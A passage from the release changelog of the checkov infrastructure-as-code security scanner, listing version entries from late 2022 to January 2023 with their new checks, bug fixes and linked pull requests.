[#4265](https://github.com/bridgecrewio/checkov/pull/4265) ### Bug Fix - **sca:** fix dependency tree cli print - [#4282](https://github.com/bridgecrewio/checkov/pull/4282) - **terraform:** fix Exception in image ref - [#4297](https://github.com/bridgecrewio/checkov/pull/4297) - **terraform:** fix in variable rendering - [#4296](https://github.com/bridgecrewio/checkov/pull/4296) - **terraform:** Fix policy str in graph checks - [#4286](https://github.com/bridgecrewio/checkov/pull/4286) ## [2.2.281](https://github.com/bridgecrewio/checkov/compare/2.2.278...2.2.281) - 2023-01-19 ### Feature - **general:** add Image referencer igraph support - [#4277](https://github.com/bridgecrewio/checkov/pull/4277) - **general:** Support aiohttp for IR API calls - [#4274](https://github.com/bridgecrewio/checkov/pull/4274) ### Bug Fix - **general:** Enable running cloned policies in case the OOTB policy is suppressed - [#4281](https://github.com/bridgecrewio/checkov/pull/4281) - **secrets:** change default secret validation status to unavailable - [#4284](https://github.com/bridgecrewio/checkov/pull/4284) - **terraform:** fix error for push_skipped_checks_down with definition that not in the definition context - [#4272](https://github.com/bridgecrewio/checkov/pull/4272) ## [2.2.278](https://github.com/bridgecrewio/checkov/compare/2.2.274...2.2.278) - 2023-01-18 ### Feature - **azure:** Add image referencer in azure pipelines - [#4234](https://github.com/bridgecrewio/checkov/pull/4234) - **gha:** fix yaml parsing of multi files - [#4270](https://github.com/bridgecrewio/checkov/pull/4270) - **secrets:** fix to keyword combinator to reduce FPs - [#4260](https://github.com/bridgecrewio/checkov/pull/4260) ### Bug Fix - **secrets:** add guideline and severity to custom secret check metadata - [#4276](https://github.com/bridgecrewio/checkov/pull/4276) ## [2.2.274](https://github.com/bridgecrewio/checkov/compare/2.2.271...2.2.274) - 2023-01-17 ### Feature - **gha:** fix failing image retrieval in GHA IR - [#4268](https://github.com/bridgecrewio/checkov/pull/4268) ### Bug Fix - **cloudformation:** fix CloudFormation checks related to number values - [#4243](https://github.com/bridgecrewio/checkov/pull/4243) - **general:** Add normalization to change the name of nuget to dotNet lang - [#4271](https://github.com/bridgecrewio/checkov/pull/4271) ## [2.2.271](https://github.com/bridgecrewio/checkov/compare/2.2.264...2.2.271) - 2023-01-16 ### Feature - **dockerfile:** Add checks for PYTHONHTTPSVERIFY and NODE_TLS_REJECT_UNAUTHORIZED - [#4223](https://github.com/bridgecrewio/checkov/pull/4223) - **secrets:** Skip invalid secrets checks + soft/hard fails - [#4247](https://github.com/bridgecrewio/checkov/pull/4247) - **terraform:** Azure search service checks - [#4064](https://github.com/bridgecrewio/checkov/pull/4064) - **terraform:** GCP checks for definition of a firewall resource for a network - [#4188](https://github.com/bridgecrewio/checkov/pull/4188) ### Bug Fix - **general:** Support encoding of function object - [#4259](https://github.com/bridgecrewio/checkov/pull/4259) - **kubernetes:** handle missing subjects in k8s cluster role binding - [#4262](https://github.com/bridgecrewio/checkov/pull/4262) - **kubernetes:** handle resources with incompatible selector - [#4257](https://github.com/bridgecrewio/checkov/pull/4257) - **secrets:** Change secret validation status message - [#4250](https://github.com/bridgecrewio/checkov/pull/4250) - **terraform:** default value for CKV_AZURE_5 - [#4237](https://github.com/bridgecrewio/checkov/pull/4237) - **terraform:** fix get_current_module_index for path that contain .tf in them - [#4261](https://github.com/bridgecrewio/checkov/pull/4261) ## [2.2.264](https://github.com/bridgecrewio/checkov/compare/2.2.258...2.2.264) - 2023-01-15 ### Feature - **general:** fix circleci crash when cannot find image - [#4249](https://github.com/bridgecrewio/checkov/pull/4249) - **general:** fix circleci yaml-doc - [#4246](https://github.com/bridgecrewio/checkov/pull/4246) - **kubernetes:** set default k8s graph env vars to true - [#4225](https://github.com/bridgecrewio/checkov/pull/4225) - **terraform:** Add new checks for ensuring execution history logging and Xray for State Machine is enabled - [#4240](https://github.com/bridgecrewio/checkov/pull/4240) ### Bug Fix - **cloudformation:** Fix edge-cases in checks - [#4251](https://github.com/bridgecrewio/checkov/pull/4251) - **kubernetes:** removed env vars from tests - [#4252](https://github.com/bridgecrewio/checkov/pull/4252) - **secrets:** Change secret validation status message - [#4238](https://github.com/bridgecrewio/checkov/pull/4238) - **secrets:** Revert "fix(secrets): Change secret validation status message" - [#4248](https://github.com/bridgecrewio/checkov/pull/4248) ## [2.2.258](https://github.com/bridgecrewio/checkov/compare/2.2.257...2.2.258) - 2023-01-12 ### Feature - **terraform:** PC-Policy-Team - GCP PostgreSQL Instance Database Policies - [#4090](https://github.com/bridgecrewio/checkov/pull/4090) ## [2.2.257](https://github.com/bridgecrewio/checkov/compare/2.2.254...2.2.257) - 2023-01-11 ### Bug Fix - **secrets:** Change verify secrets key to include relative path - [#4232](https://github.com/bridgecrewio/checkov/pull/4232) - **terraform:** improve cross-variable edges performance - [#4231](https://github.com/bridgecrewio/checkov/pull/4231) ## [2.2.254](https://github.com/bridgecrewio/checkov/compare/2.2.252...2.2.254) - 2023-01-10 ### Feature - **general:** Add resource attributes to omit arg - [#4193](https://github.com/bridgecrewio/checkov/pull/4193) - **terraform:** enable cross variable edges - [#4224](https://github.com/bridgecrewio/checkov/pull/4224) ### Bug Fix - **secrets:** add function to add the custom policies to the metadata integration not in the multiprocess - [#4221](https://github.com/bridgecrewio/checkov/pull/4221) ## [2.2.252](https://github.com/bridgecrewio/checkov/compare/2.2.246...2.2.252) - 2023-01-09 ### Feature - **kubernetes:** support more types of k8s pod template containers - [#4208](https://github.com/bridgecrewio/checkov/pull/4208) - **secrets:** Add secret validation status to reduced report - [#4219](https://github.com/bridgecrewio/checkov/pull/4219) - **secrets:** fix unquoted secret value - [#4214](https://github.com/bridgecrewio/checkov/pull/4214) - **terraform_plan:** support multiple references in one resource - [#4206](https://github.com/bridgecrewio/checkov/pull/4206) ### Bug Fix - **kubernetes:** allow filtering of custom with built-in Kubernetes check IDs - [#4204](https://github.com/bridgecrewio/checkov/pull/4204) - **secrets:** add long to see metadata_integration - [#4220](https://github.com/bridgecrewio/checkov/pull/4220) - **terraform_plan:** fix module resources ids - [#4211](https://github.com/bridgecrewio/checkov/pull/4211) ## [2.2.246](https://github.com/bridgecrewio/checkov/compare/2.2.239...2.2.246) - 2023-01-08 ### Feature - **dockerfile:** Add checks for unsafe wget and pip usages - [#4202](https://github.com/bridgecrewio/checkov/pull/4202) - **secrets:** Implement lower entropy threshold on a line with keyword - [#4210](https://github.com/bridgecrewio/checkov/pull/4210) - **terraform:** add CKV2_AWS_51 to Ensure AWS Managed IAMFullAccess IAM policy is not used. - [#4174](https://github.com/bridgecrewio/checkov/pull/4174) - **terraform:** CDN and service bus checks for azure - [#4059](https://github.com/bridgecrewio/checkov/pull/4059) ### Bug Fix - **secrets:** add logs - [#4215](https://github.com/bridgecrewio/checkov/pull/4215) - **secrets:** add logs to secrets - [#4213](https://github.com/bridgecrewio/checkov/pull/4213) - **secrets:** Disable verify secrets if skip_download is specified - [#4209](https://github.com/bridgecrewio/checkov/pull/4209) - **secrets:** fix relative file path in secrets saved to coordinator - [#4212](https://github.com/bridgecrewio/checkov/pull/4212) ## [2.2.239](https://github.com/bridgecrewio/checkov/compare/2.2.238...2.2.239) - 2023-01-06 ### Bug Fix - **general:** fix incorrect billing message when frameworks are removed from --framework list - [#4201](https://github.com/bridgecrewio/checkov/pull/4201) ## [2.2.238](https://github.com/bridgecrewio/checkov/compare/2.2.234...2.2.238) - 2023-01-05 ### Feature - **dockerfile:** Add check for unsafe curl usages - [#4186](https://github.com/bridgecrewio/checkov/pull/4186) - **general:** add logic to vcs scanning to prevent empty repo collabs failing check - [#4199](https://github.com/bridgecrewio/checkov/pull/4199) - **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#4113](https://github.com/bridgecrewio/checkov/pull/4113) ### Bug Fix - **general:** handle variable dependent values in policy - [#4200](https://github.com/bridgecrewio/checkov/pull/4200) - **secrets:** Fix api key condition in verify_secrets - [#4195](https://github.com/bridgecrewio/checkov/pull/4195) - **secrets:** Remove raw string modifier from re.compile - [#4197](https://github.com/bridgecrewio/checkov/pull/4197) ## [2.2.234](https://github.com/bridgecrewio/checkov/compare/2.2.230...2.2.234) - 2023-01-04 ### Feature - **sca:** enable CHECKOV_RUN_SCA_PACKAGE_SCAN_V2 env var - [#4192](https://github.com/bridgecrewio/checkov/pull/4192) - **secrets:** Call secrets verify API - [#4181](https://github.com/bridgecrewio/checkov/pull/4181) ### Bug Fix - **general:** set newer jsonschema dependency bound- solves #2227 - [#4183](https://github.com/bridgecrewio/checkov/pull/4183) - **general:** Update exclude-patterns.txt - [#4187](https://github.com/bridgecrewio/checkov/pull/4187) ### Documentation - **general:** fix links in contributing docs - [#4184](https://github.com/bridgecrewio/checkov/pull/4184) ## [2.2.230](https://github.com/bridgecrewio/checkov/compare/2.2.229...2.2.230) - 2023-01-03 ### Feature - **general:** Skip check in json file - [#4172](https://github.com/bridgecrewio/checkov/pull/4172) ## [2.2.229](https://github.com/bridgecrewio/checkov/compare/2.2.220...2.2.229) - 2023-01-01 ### Feature - **gha:** add support for gha existing graph - [#4175](https://github.com/bridgecrewio/checkov/pull/4175) - **secrets:** change secretsCoordinator to dict format - [#4169](https://github.com/bridgecrewio/checkov/pull/4169) - **terraform:** added aws_ssoadmin_managed_policy_attachment resource to CKV_AWS_274 - [#4173](https://github.com/bridgecrewio/checkov/pull/4173) ### Bug Fix - **general:** add link to BaseGraphRegistry checks - [#4177](https://github.com/bridgecrewio/checkov/pull/4177) - **general:** change CODE_LINK_BASE from master to main - [#4178](https://github.com/bridgecrewio/checkov/pull/4178) - **kubernetes:** remove unneeded context check - [#4171](https://github.com/bridgecrewio/checkov/pull/4171) - **kustomize:** fixed kustomize abs_file_path - [#4159](https://github.com/bridgecrewio/checkov/pull/4159) - **terraform:** out of range error by checking if list is empty - [#4176](https://github.com/bridgecrewio/checkov/pull/4176) ## [2.2.220](https://github.com/bridgecrewio/checkov/compare/2.2.217...2.2.220) - 2022-12-29 ### Feature - **sca:** remove report_results from checkov, as it is not used at all - [#4161](https://github.com/bridgecrewio/checkov/pull/4161) ### Bug Fix - **general:** fix f-string log message - [#4170](https://github.com/bridgecrewio/checkov/pull/4170) ### Documentation - **general:** fix reference link in Contributing docs page - [#4164](https://github.com/bridgecrewio/checkov/pull/4164) ## [2.2.217](https://github.com/bridgecrewio/checkov/compare/2.2.212...2.2.217) - 2022-12-28 ### Feature - **general:** Make code blocks for json check results focused on the relevant part - [#4130](https://github.com/bridgecrewio/checkov/pull/4130) - **openapi:** Add v2 openAPI new checks - [#4112](https://github.com/bridgecrewio/checkov/pull/4112) - **terraform:** new azure storage checks - [#4021](https://github.com/bridgecrewio/checkov/pull/4021) ### Bug Fix - **github:** Handle entity configurations of type list - [#4160](https://github.com/bridgecrewio/checkov/pull/4160) - **sca:** Fix extra space in output of dependencies - [#4162](https://github.com/bridgecrewio/checkov/pull/4162) ## [2.2.212](https://github.com/bridgecrewio/checkov/compare/2.2.207...2.2.212) - 2022-12-27 ### Feature - **azure:** Add check - azure keyvalut public network access - [#4155](https://github.com/bridgecrewio/checkov/pull/4155) ### Bug Fix - **terraform:** fix edge-case in CKV_AZURE_183 check - [#4154](https://github.com/bridgecrewio/checkov/pull/4154) - **terraform:** fix graph checks nested modules - [#4157](https://github.com/bridgecrewio/checkov/pull/4157) - **terraform:** fix or connection graph checks nested modules - [#4158](https://github.com/bridgecrewio/checkov/pull/4158) ## [2.2.207](https://github.com/bridgecrewio/checkov/compare/2.2.201...2.2.207) - 2022-12-26 ### Feature - **kubernetes:** Support graph edges for nested (related) Pod resources. - [#4100](https://github.com/bridgecrewio/checkov/pull/4100) - **secrets:** Keep original secrets data in runtime for further validation - [#4144](https://github.com/bridgecrewio/checkov/pull/4144) - **secrets:** Keep original secrets data in runtime for further validation - [#4149](https://github.com/bridgecrewio/checkov/pull/4149) ### Bug Fix - **general:** fix excluded paths for path with special characters - [#4152](https://github.com/bridgecrewio/checkov/pull/4152) - **terraform:** add test path to exclude-patterns - [#4150](https://github.com/bridgecrewio/checkov/pull/4150) - **terraform:** fix edge-case in CKV_AZURE_37 check - [#4153](https://github.com/bridgecrewio/checkov/pull/4153) - **terraform:** fix getting graph entity config in terraform runner - [#4146](https://github.com/bridgecrewio/checkov/pull/4146) - **terraform:** remove redundant nested definitions - [#4147](https://github.com/bridgecrewio/checkov/pull/4147) ## [2.2.201](https://github.com/bridgecrewio/checkov/compare/2.2.199...2.2.201) - 2022-12-25 ### Bug Fix - **secrets:** add support to conditionQuery - [#4086](https://github.com/bridgecrewio/checkov/pull/4086) - **terraform:** fix edge-case in CKV_AZURE_183 check - [#4145](https://github.com/bridgecrewio/checkov/pull/4145) ## [2.2.199](https://github.com/bridgecrewio/checkov/compare/2.2.191...2.2.199) - 2022-12-22 ### Feature - **gha:** support on directive in workflow files - [#4125](https://github.com/bridgecrewio/checkov/pull/4125) - **sca:** run old package scanning for IDE scan - [#4133](https://github.com/bridgecrewio/checkov/pull/4133) - **secrets:** expose maximum 6 characters of secret values - [#4140](https://github.com/bridgecrewio/checkov/pull/4140) ### Bug Fix - **circleci:** add resource to ir - [#4135](https://github.com/bridgecrewio/checkov/pull/4135) - **general:** Reformat PR template - [#4139](https://github.com/bridgecrewio/checkov/pull/4139) - **kubernetes:** move Kubernetes context error message - [#4132](https://github.com/bridgecrewio/checkov/pull/4132) - **terraform:** add aws_transfer_server to CKV2_AWS_5 check - [#4137](https://github.com/bridgecrewio/checkov/pull/4137) - **terraform:** Add some more supported keys to bigquery public acl check ignore list to avoid false positive - [#3969](https://github.com/bridgecrewio/checkov/pull/3969) - **terraform:** fix azure network address invalid value - [#4131](https://github.com/bridgecrewio/checkov/pull/4131) ## [2.2.191](https://github.com/bridgecrewio/checkov/compare/2.2.186...2.2.191) - 2022-12-21 ### Feature - **general:** add the stack trace to the error message when caught by main.py - [#4121](https://github.com/bridgecrewio/checkov/pull/4121) - **sca:** add GCP Terraform resources for Image Referencer - [#4094](https://github.com/bridgecrewio/checkov/pull/4094) - **sca:** protecting checkov with try/catch wrapping - [#4104](https://github.com/bridgecrewio/checkov/pull/4104) ### Bug Fix - **kubernetes:** removed obsolete error logging - [#4126](https://github.com/bridgecrewio/checkov/pull/4126) - **terraform:** fix azure dns invalid ip - [#4128](https://github.com/bridgecrewio/checkov/pull/4128) ## [2.2.186](https://github.com/bridgecrewio/checkov/compare/2.2.180...2.2.186) - 2022-12-20 ### Feature - **general:** move the jsonpath try/catch up a level to catch more errors - [#3911](https://github.com/bridgecrewio/checkov/pull/3911) - **sca:** returning exit code 2 in case of error for downloading twistcli - [#4105](https://github.com/bridgecrewio/checkov/pull/4105) ### Bug Fix - **dockerfile:** adjust the file abs path for Dockerfile graph results - [#4118](https://github.com/bridgecrewio/checkov/pull/4118) - **openapi:** fix an open API CKV_OPENAPI_6 check - [#4109](https://github.com/bridgecrewio/checkov/pull/4109) - **sca:** fixing integration tests - [#4117](https://github.com/bridgecrewio/checkov/pull/4117) - **terraform_plan:** use abs path for repo_root_for_plan_enrichment - [#4115](https://github.com/bridgecrewio/checkov/pull/4115) - **terraform:** CKV2_AZURE_21 changed blob access type to private - [#3898](https://github.com/bridgecrewio/checkov/pull/3898) - **terraform:** fix support for getting module-referenced resources context - [#4110](https://github.com/bridgecrewio/checkov/pull/4110) ### Platform - **terraform:** add previous get_tf_definition_key function - [#4114](https://github.com/bridgecrewio/checkov/pull/4114) ## [2.2.180](https://github.com/bridgecrewio/checkov/compare/2.2.172...2.2.180) - 2022-12-19 ### Feature - **general:** Use --no-fail-on-crash to gracefully exit commit_repository and setup_bridgecrew_credentials - [#4099](https://github.com/bridgecrewio/checkov/pull/4099) - **terraform_plan:** add check details to TF plan scan results - [#4091](https://github.com/bridgecrewio/checkov/pull/4091) - **terraform:** new azurerm checks - App config - [#3988](https://github.com/bridgecrewio/checkov/pull/3988) - **terraform:** Omit values from graph checks - [#4076](https://github.com/bridgecrewio/checkov/pull/4076) ### Bug Fix - **general:** change env var name for no-fail-on-crash flag - [#4107](https://github.com/bridgecrewio/checkov/pull/4107) - **github:** Fix GHA IR resource names in case of 2 identical images - [#4108](https://github.com/bridgecrewio/checkov/pull/4108) - **terraform:** azurerm storage defaults - fix for storage case #3516 - [#4083](https://github.com/bridgecrewio/checkov/pull/4083) - **terraform:** fix nested module resources ids in the report - [#4098](https://github.com/bridgecrewio/checkov/pull/4098) ## [2.2.172](https://github.com/bridgecrewio/checkov/compare/2.2.168...2.2.172) - 2022-12-18 ### Feature - **general:** Add no-fail-on-crash flag - [#4097](https://github.com/bridgecrewio/checkov/pull/4097) - **gha:** add fix for gha graphs and UT - [#4084](https://github.com/bridgecrewio/checkov/pull/4084) - **kubernetes:** inject k8s FF flags to instance instead of constructor - [#4096](https://github.com/bridgecrewio/checkov/pull/4096) ### Bug Fix - **terraform:** add a method for get the entity definition path from the entity itself - [#4095](https://github.com/bridgecrewio/checkov/pull/4095) - **terraform:** add address attribute to all scanned terraform blocks - [#4074](https://github.com/bridgecrewio/checkov/pull/4074) ## [2.2.168](https://github.com/bridgecrewio/checkov/compare/2.2.158...2.2.168) - 2022-12-15 ### Feature - **kubernetes:** Add kubernetes YAML checks to checkov packaging - [#4073](https://github.com/bridgecrewio/checkov/pull/4073) - **kubernetes:** move whorf to dedicated repo - [#4062](https://github.com/bridgecrewio/checkov/pull/4062) - **terraform_plan:** add Image Referencer for Terraform plan files - [#4063](https://github.com/bridgecrewio/checkov/pull/4063) - **terraform:** add CKV NCP rules about AutoScalingGroup, Load Balancer - [#3821](https://github.com/bridgecrewio/checkov/pull/3821) - **terraform:** add CKV NCP rules about Nat Gateways and Route - [#3854](https://github.com/bridgecrewio/checkov/pull/3854) - **terraform:** combine tf plan and tf graphs for nested modules - [#4066](https://github.com/bridgecrewio/checkov/pull/4066) - **terraform:** More azurerm checks for terraform - [#3970](https://github.com/bridgecrewio/checkov/pull/3970) ### Bug Fix - **openapi:** Fix in PathSchemeDefineHTTP opeAPI check - [#4079](https://github.com/bridgecrewio/checkov/pull/4079) - **terraform:** CKV_AZURE_43 add new test case - [#4082](https://github.com/bridgecrewio/checkov/pull/4082) ## [2.2.158](https://github.com/bridgecrewio/checkov/compare/2.2.155...2.2.158) - 2022-12-14 ### Feature - **github:** more CIS checks- part3 - [#4057](https://github.com/bridgecrewio/checkov/pull/4057) - **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#3962](https://github.com/bridgecrewio/checkov/pull/3962) ### Bug Fix - **secrets:** fix secrets crash when secret is non string - [#4077](https://github.com/bridgecrewio/checkov/pull/4077) ## [2.2.155](https://github.com/bridgecrewio/checkov/compare/2.2.148...2.2.155) - 2022-12-13 ### Feature - **github:** more CIS checks- part2 - [#4017](https://github.com/bridgecrewio/checkov/pull/4017) - **kubernetes:** added CKV2_K8S_EXAMPLE_1 only in tests as an example for k8s graph check for pod which is publicly accessible - [#4060](https://github.com/bridgecrewio/checkov/pull/4060) - **kubernetes:** added deployment name to pod resource id - [#4040](https://github.com/bridgecrewio/checkov/pull/4040) - **sca:** fix root packages fixed version - [#4070](https://github.com/bridgecrewio/checkov/pull/4070) ### Bug Fix - **sca:** invoke packaging.Version instead of parse - [#4065](https://github.com/bridgecrewio/checkov/pull/4065) - **secrets:** fix error when secret is None - [#4071](https://github.com/bridgecrewio/checkov/pull/4071) - **terraform:** checkov fix as resource container_group modified - [#4061](https://github.com/bridgecrewio/checkov/pull/4061) - **terraform:** fixed unexpected data for IAMPublicActionsPolicy - [#4067](https://github.com/bridgecrewio/checkov/pull/4067) - **terraform:** fixed unexpected data for MonitorLogProfileRetentionDays - [#4068](https://github.com/bridgecrewio/checkov/pull/4068) ### Platform - **general:** Apply licensing from platform - [#3961](https://github.com/bridgecrewio/checkov/pull/3961) ## [2.2.148](https://github.com/bridgecrewio/checkov/compare/2.2.139...2.2.148) - 2022-12-12 ### Feature - **gha:** Add gha graph infra - [#4058](https://github.com/bridgecrewio/checkov/pull/4058) - **gha:** add infra for gha graphs - [#4052](https://github.com/bridgecrewio/checkov/pull/4052) - **sca:** fixed dependencies default value - [#4056](https://github.com/bridgecrewio/checkov/pull/4056) - **sca:** added indirect cves fix versions - [#4023](https://github.com/bridgecrewio/checkov/pull/4023) - **secrets:** Inject secrets omitter to runner registry - [#4054](https://github.com/bridgecrewio/checkov/pull/4054) - **terraform_plan:** support jsonpath queries in AWS IAM policy strings for Terraform plan - [#4033](https://github.com/bridgecrewio/checkov/pull/4033) - **terraform:** Extend secret attributes to omit mapping - [#4028](https://github.com/bridgecrewio/checkov/pull/4028) - **terraform:** tf plan combine graphs pass params - [#4051](https://github.com/bridgecrewio/checkov/pull/4051) ### Bug Fix - **terraform:** add missing resource aws_route53_resolver_endpoint #3968 - [#3995](https://github.com/bridgecrewio/checkov/pull/3995) - **terraform:** fix getting local dest module path - [#4055](https://github.com/bridgecrewio/checkov/pull/4055) - **terraform:** Fix some errors in Dynamic Blocks rendering - [#4050](https://github.com/bridgecrewio/checkov/pull/4050) ## [2.2.139](https://github.com/bridgecrewio/checkov/compare/2.2.130...2.2.139) - 2022-12-11 ### Feature - **graph:** Added `not_within` attribute solver for graph checks - [#4041](https://github.com/bridgecrewio/checkov/pull/4041) - **kubernetes:** Add CKV2_K8S_2 graph check for potential privilege escalation in `nodes/proxy` or `pods/exec` with `create` permissions - [#4034](https://github.com/bridgecrewio/checkov/pull/4034) - **kubernetes:** Add CKV2_K8S_3 no `impersonate` permissions for `ServiceAccount/Node` - [#4037](https://github.com/bridgecrewio/checkov/pull/4037) - **kubernetes:** Added CKV2_K8S_4 check to not allow modifying of services/status - [#4038](https://github.com/bridgecrewio/checkov/pull/4038) - **kubernetes:** Added CKV2_K8S_5 check that no service account or node can read all secrets - [#4042](https://github.com/bridgecrewio/checkov/pull/4042) - **secrets:** Accepting json reports from bucket in secrets_omitter - [#4039](https://github.com/bridgecrewio/checkov/pull/4039) - **terraform:** add CKV NCP rules about Route Table Association - [#3856](https://github.com/bridgecrewio/checkov/pull/3856) ### Bug Fix - **kubernetes:** Corrected list format for yaml files in new k8s graph check tests - [#4035](https://github.com/bridgecrewio/checkov/pull/4035) - **secrets:** custom secret add support for value str and not only list - [#4024](https://github.com/bridgecrewio/checkov/pull/4024) - **terraform:** Fix in dot separator in the dynamic argument - [#4036](https://github.com/bridgecrewio/checkov/pull/4036) ## [2.2.130](https://github.com/bridgecrewio/checkov/compare/2.2.124...2.2.130) - 2022-12-08 ### Feature - **general:** Apply policy-level suppressions as skipped checks - [#4020](https://github.com/bridgecrewio/checkov/pull/4020) - **github:** Add 3 CIS checks: 1.1.3, 1.1.8, 1.1.10 - [#4003](https://github.com/bridgecrewio/checkov/pull/4003) - **kubernetes:** Added CKV2_K8S_1 to ensure RoleBinding do not allow privilege escalation to a ServiceAccount/Node - [#4004](https://github.com/bridgecrewio/checkov/pull/4004) - **secrets:** Omit secrets from reports based on secrets reports - [#3991](https://github.com/bridgecrewio/checkov/pull/3991) - **secrets:** Omit secrets from reports based on secrets reports - [#4015](https://github.com/bridgecrewio/checkov/pull/4015) ### Bug Fix - **github:** remove secrets from schema example - [#4019](https://github.com/bridgecrewio/checkov/pull/4019) - **terraform:** fix resource block address - [#4018](https://github.com/bridgecrewio/checkov/pull/4018) ## [2.2.124](https://github.com/bridgecrewio/checkov/compare/2.2.116...2.2.124) - 2022-12-07 ### Feature - **sca:** change sca packages output to include dependencies structure - [#3957](https://github.com/bridgecrewio/checkov/pull/3957) - **secrets:** Adding check length for secret - [#3985](https://github.com/bridgecrewio/checkov/pull/3985) - **terraform:** nested modules support in graph - [#3935](https://github.com/bridgecrewio/checkov/pull/3935) ### Bug Fix - **circleci:** fix executors in resource_id - [#4008](https://github.com/bridgecrewio/checkov/pull/4008) - **secrets:** Bump detect secrets version - [#3997](https://github.com/bridgecrewio/checkov/pull/3997) - **terraform:** Fix an issue in dynamic blocks - [#4006](https://github.com/bridgecrewio/checkov/pull/4006) - **terraform:** fix CKV_AWS_283 check - [#4005](https://github.com/bridgecrewio/checkov/pull/4005) - **terraform:** Fix CKV_AZURE_168 check - [#4000](https://github.com/bridgecrewio/checkov/pull/4000) - **terraform:** Fix some issues in dynamic blocks flow - [#4002](https://github.com/bridgecrewio/checkov/pull/4002) - **terraform:** Fix TF checks crashes - [#3992](https://github.com/bridgecrewio/checkov/pull/3992) ## [2.2.116](https://github.com/bridgecrewio/checkov/compare/2.2.114...2.2.116) - 2022-12-06 ### Feature - **general:** Report failed attempts at reporting contributor metrics - [#3984](https://github.com/bridgecrewio/checkov/pull/3984) - **kubernetes:** create simple resources id for pods; allow enabling k8s graph features using env vars - [#3975](https://github.com/bridgecrewio/checkov/pull/3975) - **terraform:** check for insecure protocols - [#3958](https://github.com/bridgecrewio/checkov/pull/3958) - **terraform:** Check resource-based policies for public access - [#3989](https://github.com/bridgecrewio/checkov/pull/3989) - **terraform:** Dynamic Blocks support for loop in for_each attribute - [#3982](https://github.com/bridgecrewio/checkov/pull/3982) - **terraform:** new aks checks for Azure - [#3951](https://github.com/bridgecrewio/checkov/pull/3951) ### Bug Fix - **dockerfile:** fix Dockerfile inline skip handling - [#3976](https://github.com/bridgecrewio/checkov/pull/3976) - **secrets:** fix_Record_code_block_secrets - [#3987](https://github.com/bridgecrewio/checkov/pull/3987) - **terraform:** azurerm kusto cluster encryption - wrong attribute tested for - [#3972](https://github.com/bridgecrewio/checkov/pull/3972) ## [2.2.114](https://github.com/bridgecrewio/checkov/compare/2.2.112...2.2.114) - 2022-12-04 ### Feature - **terraform:** add CKV NCP rules about ncloud access control group rule - [#3860](https://github.com/bridgecrewio/checkov/pull/3860) ### Bug Fix - **secrets:** fix Issue with 'NoneType' error in the custom detectors load_detectors - [#3973](https://github.com/bridgecrewio/checkov/pull/3973) ### Platform - **terraform:** remove redundant exc_info for module without source - [#3974](https://github.com/bridgecrewio/checkov/pull/3974) ## [2.2.112](https://github.com/bridgecrewio/checkov/compare/2.2.106...2.2.112) - 2022-12-01 ### Feature - **dockerfile:** add graph to Dockerfile - [#3948](https://github.com/bridgecrewio/checkov/pull/3948) - **terraform:** add CKV NCP rules about access control group Inbound rule. - [#3859](https://github.com/bridgecrewio/checkov/pull/3859) - **terraform:** Implement relative file path standard for tf plan file runs - [#3918](https://github.com/bridgecrewio/checkov/pull/3918) ### Bug Fix - **general:** fix doc links on windows - [#3959](https://github.com/bridgecrewio/checkov/pull/3959) - **secrets:** Fix omitting of secrets that are json encoded - [#3964](https://github.com/bridgecrewio/checkov/pull/3964) - **terraform_plan:** Fix k8s checks edgecases for terraform plan - [#3966](https://github.com/bridgecrewio/checkov/pull/3966) - **terraform:** OCI Security Group Control Problem - [#3933](https://github.com/bridgecrewio/checkov/pull/3933) ### Platform - **secrets:** remove the use of enable_secret_scan_all_files for custom secrets - [#3954](https://github.com/bridgecrewio/checkov/pull/3954) ### Documentation - **terraform:** update Terraform modules docs - [#3965](https://github.com/bridgecrewio/checkov/pull/3965) ## [2.2.106](https://github.com/bridgecrewio/checkov/compare/2.2.105...2.2.106) - 2022-11-30 - no noteworthy changes ## [2.2.105](https://github.com/bridgecrewio/checkov/compare/2.2.99...2.2.105) - 2022-11-29 ### Feature - **terraform:** add CKV NCP rules about Load Balancer Listener Using HTTPS - [#3858](https://github.com/bridgecrewio/checkov/pull/3858) - **terraform:** add CKV NCP rules about server instance and public IP - [#3857](https://github.com/bridgecrewio/checkov/pull/3857) - **terraform:** azurerm ACR check for retention policy - [#3927](https://github.com/bridgecrewio/checkov/pull/3927) ## [2.2.99](https://github.com/bridgecrewio/checkov/compare/2.2.96...2.2.99) - 2022-11-27 ### Feature - **github:** add CIS checks part 1. Most of the 1.1.x - [#3937](https://github.com/bridgecrewio/checkov/pull/3937) - **terraform:** Azure ACR Enable Image Quarantine - [#3925](https://github.com/bridgecrewio/checkov/pull/3925) - **terraform:** Azure use signed image in ACR - [#3923](https://github.com/bridgecrewio/checkov/pull/3923) ### Bug Fix - **bicep:** ignore unresolvable properties for Bicep storage account checks - [#3946](https://github.com/bridgecrewio/checkov/pull/3946) - **gha:** added test for step with no step name - [#3945](https://github.com/bridgecrewio/checkov/pull/3945) ## [2.2.96](https://github.com/bridgecrewio/checkov/compare/2.2.95...2.2.96) - 2022-11-26 - no noteworthy changes ## [2.2.95](https://github.com/bridgecrewio/checkov/compare/2.2.86...2.2.95) - 2022-11-24 ### Feature - **circleci:** add check for detecting images without check resource - [#3930](https://github.com/bridgecrewio/checkov/pull/3930) - **terraform:** ACR container scanning - [#3922](https://github.com/bridgecrewio/checkov/pull/3922) - **terraform:** add CKV NCP check about NKS(kubernetes) logging - [#3855](https://github.com/bridgecrewio/checkov/pull/3855) - **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#3900](https://github.com/bridgecrewio/checkov/pull/3900) ### Bug Fix - **general:** update checks_metadata structure - [#3929](https://github.com/bridgecrewio/checkov/pull/3929) - **gha:** and circleci resource names - [#3914](https://github.com/bridgecrewio/checkov/pull/3914) - **kubernetes:** Handle invalid helm chart meta - [#3939](https://github.com/bridgecrewio/checkov/pull/3939) - **sca:** fix related resource id for helm and kustomize - [#3931](https://github.com/bridgecrewio/checkov/pull/3931) - **terraform:** better check names to avoid confusion - addresses #3912 - [#3921](https://github.com/bridgecrewio/checkov/pull/3921) - **terraform:** CKV_AZURE_144 passes on defaults - [#3938](https://github.com/bridgecrewio/checkov/pull/3938) - **terraform:** Removed duplicate check CKV_AZURE_60 - [#3928](https://github.com/bridgecrewio/checkov/pull/3928) ### Platform - **secrets:** Support custom detectors from the platform - [#3926](https://github.com/bridgecrewio/checkov/pull/3926) ## [2.2.86](https://github.com/bridgecrewio/checkov/compare/2.2.84...2.2.86) - 2022-11-23 ### Feature - **terraform:** add CKV_AWS_282 to ensure that Redshift Serverless namespace is encrypted by KMS - 